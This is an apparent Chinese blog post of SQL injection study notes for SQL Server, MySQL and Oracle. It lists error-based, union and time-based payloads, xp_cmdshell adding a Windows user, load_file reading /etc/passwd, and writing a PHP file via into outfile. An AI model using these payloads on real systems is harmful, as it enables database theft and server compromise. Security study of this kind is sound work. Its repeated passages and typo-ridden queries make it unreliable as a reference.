sql注入新知识
来源:互联网 发布:玫瑰花园摆放软件 编辑:程序博客网 时间:2024/06/04 01:06
sql连接符号是“+”,oracle连接符号是“||”,mysql连接符号是空格
分类:数字型和字符型
不同叫法:post注入、cookie注入、延时注入、搜索注入、base64注入
and 1> (select top 1 username from users)
and 1> (select top 1 usernma from users where username not in('root')
and 1= conver(int ,(select top 1 users.username from users))
and 1=convert(int,(select stuff((select ...))))
select column_name from information_schema.columns where table_name='student'
order by 语句
union select null,null...
select user_name():返回数据库用户名
select db_name():数据库名
select is_member('db_owner'):是否是数据库角色
select convert(int,'5'):数据类型转换
char:根据ASCII码取字符
getdata:返回日期
count:总条数
cast:将一种数据类型的表达式,显式转换成另一种数据类型的表达式
rand:随机值
is_srvrolemember:指定sql server 登录名是否为指定服务器角色的成员
危险的存储过程:执行系统命令,查看注册表,读取磁盘目录
条件:拥有control server权限
sp_dropuser:删除数据库用户
动态执行
分类:数字型和字符型
不同叫法:post注入、cookie注入、延时注入、搜索注入、base64注入
sql server注入
枚举当前列表
利用数据类型错误提取数据and 1> (select top 1 username from users)
and 1> (select top 1 usernma from users where username not in('root')
and 1= conver(int ,(select top 1 users.username from users))
and 1=convert(int,(select stuff((select ...))))
获取元数据
select table_nmae from information_schema.tablesselect column_name from information_schema.columns where table_name='student'
常见的表视图:sys.databases\sys.sql_logins\information_schema.tables\information_schema.columns7sys.all_columns\sys.databases_principals\sys.databases_files\sysobjects
order by 语句
判断表的列数
union查询
有的数据库,如果不知道列的数据类型时,就是用null:union select null,null...
无辜的函数
select suser_name():用户的登陆标识名select user_name():返回数据库用户名
select db_name():数据库名
select is_member('db_owner'):是否是数据库角色
select convert(int,'5'):数据类型转换
常用的函数:stuff:字符串截取函数
ascii:取ASCII码char:根据ASCII码取字符
getdata:返回日期
count:总条数
cast:将一种数据类型的表达式,显式转换成另一种数据类型的表达式
rand:随机值
is_srvrolemember:指定sql server 登录名是否为指定服务器角色的成员
危险的存储过程:执行系统命令,查看注册表,读取磁盘目录
最常用的是:xp_cmdshell
id=1?exec xp_cmdshell 'net user test test /add'条件:拥有control server权限
常见的存储过程:
sp_addlogin:创建新的 sql server 登陆sp_dropuser:删除数据库用户
xp_enumgroups提供本地组列表,在指定的windiws域中定义的全局组列表
xp_regwrite:写入注册表
xp_regread:读取注册表
xp_regdeletevalue:删除注册表
xp_dirtree:读取目录
sp_password:更改密码
xp_sercicecontrol:t停止或激活某服务
动态执行
sqlsever 支持动态执行语句,通过提交一个字符串来执行sql语句:
exec('select username from users')
exec('selec'+'t+ username fro' +'m usernames')
mysql注入
#:注释从#到行尾
--:从--到行尾,后面一应该有空格或者tag
/**/:中间的字符
注意:select id /*!55555, username*/ from users
注意:select id /*!55555, username*/ from users
语句被正常执行,id和username被查询出,因为/*!*/感叹后有特殊意义,/*!55555, username*/ 表示,mysql版本高于或者等于5.55.55,语句将会被执行,如果!后面不加版本号,mysql将会直接执行SQL语句。
- 获取元数据
查询用户数据库名称:
select schema_name from information_schema.schemata limit 0,1
查询当前数据库表
select SCHEMA_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT 0,1
查询知道那个表的所有字段:
select column_name from information_schema.columns where table_name='student; limit 0,1 - union查询
- mysql函数利用
load_file()函数读文件操作
条件:文件位置必须再服务器上,文件必须是绝对路径,用户必须有file权限,文件容量小于max_allowd_packet字节默认16k最大1g
语句Lselect 1,load__file('/etc/passwd'),3,4..#
如果过滤单引号,那么使用个十六进制的转换结果
into outfile写文件操作
select '<?php phpinfo(); ?>' into outfile 'c:\wwwroot\1.php'
连接字符串:
concat()或concat_ws()
select name from student whwere id=1 union select concat(user(),',',database().',',version()); - 显错式注入
通过ipdatexml函数执行sql注入:
select * from mesage where is =1 and updatexml(1, concat(0x7c,(select @@version))),1);
通过extractvalue函数
select * from messagge where id= 1 and extractvalue(1,concat(0x7c,(select user())));
通过floor函数
select * from message where id= 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a form information_schema.tablesgroup by a)b - 宽字节注入
由于编码不同统一造成的,出现在php+mysql中
再php的配置文件php.ini中,存在magic_quotes_gpc选项,打开时,使用get\psot\cookie接收到的 ’,”,\,null,会自动加一个反斜杠进行转义。
比如id=' 就转义成\',但是如果id=%5'显示的结果就是�' 就可以继续进行闭合进行注入了 - 长字节截断
在进行插入语句时候,把字节的长度加长,比如正确的时admin,我们可以写入admin x,然后系统会进行最大长度截断,最后得到的时admin,,我们就可以使用这个用户名密码进行登陆使用了 - 延时注入
sleep函数
and if (length(user())==0,sleep(3),1)//得到长度
and if(hex(mid(user(),1,1))=1,sleep(3),1)//首字符确认
and if(hex(mid(user(0),L,1))=N,sleep(3),1)//递归破解到最后一个字符
oracle
都差不多。。。- 获取元数据
- union查询
这个数据库查询后面必须跟表名,比如union select null,null,null from dual
而且后面必须要有数据类型,不知道有什么表可以使用dual代替 - oracle中报的概念
UTL_HTTP,提供了对http的一些操作
select UTL_HTTPREQUEST('HTTP://WWW.BAIDU.COM') from duql;
阅读全文
0 0
- sql注入新知识
- 新知识
- 新知识
- SQL注入--GET注入
- 注入攻击--SQL注入
- 【sql注入】mysql注入
- SQL注入
- SQL注入
- SQL注入
- sql注入
- SQL注入
- SQL注入
- SQL注入
- SQL注入
- sql注入
- SQL注入
- SQL注入
- SQL注入
- list.add()存储对象的值的时候应注意
- numpy.random模块中提供啦大量的随机数相关的函数
- IS-IS路由器——level-1 区域间路由
- C#高级学习第五章线程,任务和同步
- 实验二之静态链表
- sql注入新知识
- 运维角度浅谈MySQL数据库优化
- FVWM简明使用指南——王垠
- 自建Ngrok服务与使用方法
- svn不出现对勾
- 数学!!
- Selenium Java自动化测试学习知识积累-TestNG
- 微信红包新玩法:利是说语音口令红包
- bat